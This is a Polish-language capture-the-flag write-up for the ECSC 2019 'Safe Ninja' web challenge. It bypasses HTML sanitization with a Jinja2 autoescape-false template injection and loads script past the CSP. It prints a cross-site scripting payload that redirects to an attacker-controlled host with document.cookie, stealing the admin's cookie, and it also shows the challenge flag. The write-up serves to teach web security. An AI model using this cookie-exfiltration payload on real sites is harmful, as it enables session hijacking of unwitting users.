Safe Ninja

Zadanie

ecsc19_safeninja.png

W zadaniu mamy możliwość zauplodowania strony i wyświetlania jej, oraz wysłania linku do odwiedzenia przez admina. Wniosek dość prosty, trzeba mu ukraść ciasteczko. W kodzie strony czyszczone są praktycznie wszystkie tagi html (funkcja bleach.clean) oraz nie możemy używać znaków '"()|.

Brak nawiasów praktycznie wyklucza SSTI, a przynajmniej ja nie kojarzę żadnego sposobu by to ominąć.

Mamy możliwość ustawienia tytułu strony zawierającego dowolne znaki, wtedy do ciała strony na początku zostanie doklejony <title>{{ title }}</title> a wszystkie wystąpienia {{ title }} będą zastępowane tymże tytułem.

Rozwiązanie

Główną trudnością rozwiązania było znalezienie w dokumentacji Jinja2 czegoś takiego jak {% autoescape false %} treść {% endautoescape %}. Ma to identyczny efekt jak przepuszczenie wszystkich znaczników w treści przez filtr safe ({{ zmienna | safe }}) - czyli html nie będzie escapowany. Pozwala nam to stworzyć praktycznie dowolny html, jako stronę wysyłając

{% autoescape false %}
{{title}}
{% endautoescape %}

a kod strony umieszczająć w title. W zadaniu użyte było restrykcyjne CSP, więc trzeba było jeszcze jakoś wykonać JS, ale to już nie jest trudne - wystarczy wrzucić osobną stronkę ze skryptem bez używania title i użyć jej w <script src=link>. Skrypt (załóżmy że pod linkiem https://safeninja.ecsc19.hack.cert.pl/page/abcd):

window.location = `http://kontrolowanyprzeznasserwer.pl?` + document.cookie

Główna stronka. Plik:

{% autoescape false %}
{{title}}
{% endautoescape %}

Title:

<head><script src="https://safeninja.ecsc19.hack.cert.pl/page/abcd"></script></head><body></body>

Po wysłaniu adminowi linka do głównej strony, wykona on skrypt i można odczytać flagę z logów naszego serwera: ecsc19{it's_not_safe_to_ride_a_ninja}